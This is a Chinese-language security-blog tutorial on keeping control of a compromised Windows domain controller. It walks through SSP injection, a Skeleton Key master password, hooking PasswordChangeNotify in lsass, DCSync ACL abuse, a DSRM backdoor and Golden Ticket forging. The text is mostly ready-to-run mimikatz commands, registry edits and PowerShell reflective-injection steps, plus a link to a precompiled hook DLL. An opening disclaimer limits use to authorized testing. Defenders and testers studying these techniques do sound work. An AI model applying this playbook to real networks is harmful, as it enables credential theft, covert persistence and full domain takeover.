免责声明
道一安全(本公众号)的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!!
前言
在通过某个漏洞或者通过域用户机器抓取hash等手段拿到域控制器权限后,如果不做权限维持,很有可能因为域管理员将域控的密码修改了或者讲漏洞修复了,导致域控制器权限丢失,导致之前的努力都白费了。
SSP注入权限维持
SSP(Security Support Provider)是Windows操作系统安全机制的提供者。
简单地说,SSP是个DLL文件,主要用来实现Windows操作系统的身份认证功能。在系统启动时,SSP被加载到lsass进程中,攻击者可以制作恶意的DLL文件,在系统启动时将其加载到lsass进程中,就可以获取lsass进程中的明文账号密码。这样即使域管理员修改密码并重新登录,也可以获取到域控的权限。
一:mimikatz注入伪造的SSP
管理员权限启动mimikatz
然后执行:
`privilege::debug``misc::memssp`
然后重新登录后,明文账号密码会存储在
C:\Windows\System32\mimilsa.log
二:加载mimilib.dll
将mimikatz目录中的mimilib.dll文件放到目标机器的C:\Windows\system32目录下,dll位数需要与目标机器系统位数一致。
复制过去后用PowerShell修改注册表,将mimilib.dll追加到注册表内。
`powershell`` ``reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"` ` ``reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ`
regedit查看下注册表是否添加成功
然后重启系统,用户登录到系统后会在c:\windows\system32\目录下生成一个kiwissp.log文件存储登录的账号密码.
Skeleton Key 万能密码
Skeleton Key(万能密码),是一种可以对域内权限进行持久化的操作,通过将Skeleton Key注入到lsass进程(需要管理员权限),不需要重启机器即可生效,再不影响原账号登录的情况下,此帐号也可登录,它只存在于内存中,如果域控制器重启,注入的 Skeleton Key 将会失效。
在域控机器使用mimikatz执行如下目录将万能密码注入到lsass进程
管理器权限启动mimikatz
`privilege::debug`` ``misc::skeleton`
默认密码为mimikatz
此时skeleton key已经注入成功,会在所有的账号中添加一个skeleton key,密码为 mimikatz
然后找一台域内用户机器与域控建立IPC连接
net use \\owa\ipc$ "mimikatz" /user:redteam\administrator
查看C盘目录
Hook PasswordChangeNotify 攻击
原理:
在修改域控的密码时,LSA会先调用PasswordFileter来检查密码是否符合复杂性要求,如果符合LSA会调用PasswordChangeNotify在系统中同步修改后的密码。
如果攻击者hook了该功能,就会直接获取到用户修改后的明文账号密码。
利用方法:
生成dll,先下载源码:https://github.com/clymb3r/Misc-Windows-Hacking
然后用VS开发环境将下载的源码编译成dll文件,编译前需要先讲MFC设置为“在静态库中使⽤ MFC 编译⼯程
编译好后,下载PowerShell脚本将HookPasswordChange.dll注入到内存
这里给一下我编译好的dll和用到的PowerShell文件:
https://daoyisec.lanzn.com/isQ0W26oqkfe
下载地址:
在目标系统中使用管理员权限启动PowerShell
然后执行如下命令:
`Set-ExecutionPolicy bypass`` ``Import-Module .\Invoke-ReflectivePEInjection.ps1`` ``Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass`
此时修改密码时,将会自动记录到如下文件内,可以修改这个文件路径保存到更隐蔽的路径
执行 net user Administrator 修改后的密码
Dcsync
原理:
在域环境中,不同域控制器(DC)之间,每 15 分钟都会有一次域数据的同步。当一个域控制器(DC 1)想从其他域控制器(DC 2)获取数据时,DC 1 会向 DC 2 发起一个 GetNCChanges 请求,该请求的数据包括需要同步的数据。如果需要同步的数据比较多,则会重复上述过程。DCSync 就是利用的这个原理,通过 Directory Replication Service(DRS) 服务的 GetNCChanges 接口向域控发起数据同步请求。
利用方法:
前提条件:
需要拥有一下任意用户的权限
Administrators组内的用户
Domain Admins组内的用户
Enterprise Admins组内的用户
域控制器的计算机帐户
(假设现在获取到了一台域控权限和一台普通用户sqlserver权限)
现在通过powerview.ps1脚本向sqlserver用户添加三条ACE
DS-Replication-Get-Changes—>(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
DS-Replication-Get-Changes-All—>(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
DS-Replication-Get-Changes—>(GUID:89e95b76-444d-4c62-991a-0facbeda640c)
具体命令:
`powershell -exec bypass`` ``Import-Module .\powerview.ps1`` ``Add-DomainObjectAcl -TargetIdentity “DC=redteam,DC=red”-PrincipalIdentity sqlserver -Rights DCSync -Verbose`
添加好ACE后,在sqlserver普通用户上 通过mimikatz导出域内所有hash
`privilege::debug`` ``lsadump::dcsync /domain:redteam.red /all /csv`
DSRM后门
原理:
每个域控制器都有一个目录还原模式(DSRM)帐户,它的密码是在安装域控时设置的,实际上它对应的就是sam文件里的本地管理员“administrator”,基本很少会被重置,因此有着极强的隐蔽性。攻击者通过获取域控的DSRM密码,就可以使用帐户通过网络登录到域控服务器,从而达到权限维持的目的。
操作系统版本:
windows server2008(需安装KB961320才可以使用指定域账号的密码对DSRM的密码进行同步)及以后的版本
利用方法:
`privilege::debug`` ``lsadump::lsa /patch /name:test`
由于mimikatz复制会导致卡死 可以输入log命令将输出记录到log文件内
2. 使用ntdsutil工具将DSRM账号的hash和sqlserver的hash同步
`ntdsutil``set dsrm password``sync from Domain Account sqlserver``q``q`
3.抓包dsrm hash可以看到已经和最开始抓取sqlserver的密码一致了
`privilege::debug``token::elevate``lsadump::sam`
4.修改DSRM登录方式
DSRM一共有三种登录方式:
0:默认值,只有当域控制器重启并进入DSRM 模式时,才可以使用 DSRM 管理员账号
1:只有当本地 AD、DS 服务停止时,才可以使用 DSRM 管理员账号登录域控制器
2:在任何情况下,都可以使用 DSRM管理员账号登录域控制器
如果需要用DSRM登录到域控制器 需要将其登录方式修改为2
执行如下命令修改注册表:
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /f /v DsrmAdminLogonBehavior /t REG_DWORD /d 2
然后再其他的域普通用户机器上,通过mimikatz使用dsrm进行登录
sekurlsa::pth /domain:owa/user:administrator /ntlm: 6a59bf65a4957ac67e5fb4e1c221939c
黄金票据
前置知识:
Kerberos认证:
KDC(Key Distribution Center): 密钥分发中心,里面包含两个服务:AS和TGS
AS(Authentication Server): 身份认证服务
TGS(Ticket Granting Server): 票据授予服务
TGT(Ticket Granting Ticket): 由身份认证服务授予的票据,用于身份认证,存储在内存,默认有效期为10小时
Pass The Ticket:如果我们能够拿到用户的TGT,并将其导入到内存,就可以冒充该用户获得其访问权限
Golden Ticket(下面称为金票)是通过伪造的TGT(TicketGranting Ticket),因为只要有了高权限的TGT,那么就可以发送给TGS换取任意服务的ST。可以说有了金票就有了域内的最高权限。
每个用户的Ticket都是由krbtgt的密码Hash来生成的,那么,我们如果拿到了krbtgt的密码Hash,其实就可以伪造任意用户的TICKET,
对于攻击者来说,实际上只要拿到了域控权限,就可以直接导出krbtgt的Hash值,,再通过mimikatz即可生成任意用户任何权限的Ticket,也就是Golden Ticket。
前提条件:
需要伪造的域管理员用户名(一般是域管账户)
完整的域名
域krbtgt SID(就是域成员 krbtgt SID去掉最后的)
krbtgt的NTIL Hash 或 AES-256值
利用方法:
真实环境下可以通过zerologon漏洞或其他漏洞获取域控权限后导出KDC的hash(krbtgt的hash)后,进行黄金票据攻击。
1 导出krbtgt的NTLM hash(域控)
`log`` ``privilege::debug`` ``lsadump::dcsync /domain:redteam.red /user:krbtgt`
复制出log文件里这三个值
`Object Security ID : S-1-5-21-1359007890-1682372173-1631803504-502``这个值最后面的-502去掉``Hash NTLM: 4a67f14d5cc4fa22618c8b609e832db6``aes256_hmac(4096) : 67075a54cf9106904392e010bcd3caec5cc3d57d3c65b42065482ae53910ddbd`` `
2 使用mimikatz清空当前主机会话中的票据(普通用户)
3.使用mimikatz生成票据
kerberos::golden /user:administrator /domain:redteam.red /sid:S-1-5-21-1359007890-1682372173-1631803504 /krbtgt:4a67f14d5cc4fa22618c8b609e832db6 /ticket:Administrator.kiribi
参数解释:
/admin:伪造的⽤户名
/domain:域名称
/sid:SID值,注意是去掉最后⼀个-后⾯的值
/krbtgt:krbtgt 的 HASH值
/ticket:⽣成的票据名称 //不是写⼊内存中的命令!
4.使用mimikatz将票据注入内存(普通用户机器)
管理器权限启动mimikatz
`privilege::debug`` ``kerberos::ptt 票据文件`
然后查看票据是否注入成功
kerkeros::list
最后dir域控
联系我们
群内不定期更新各种POC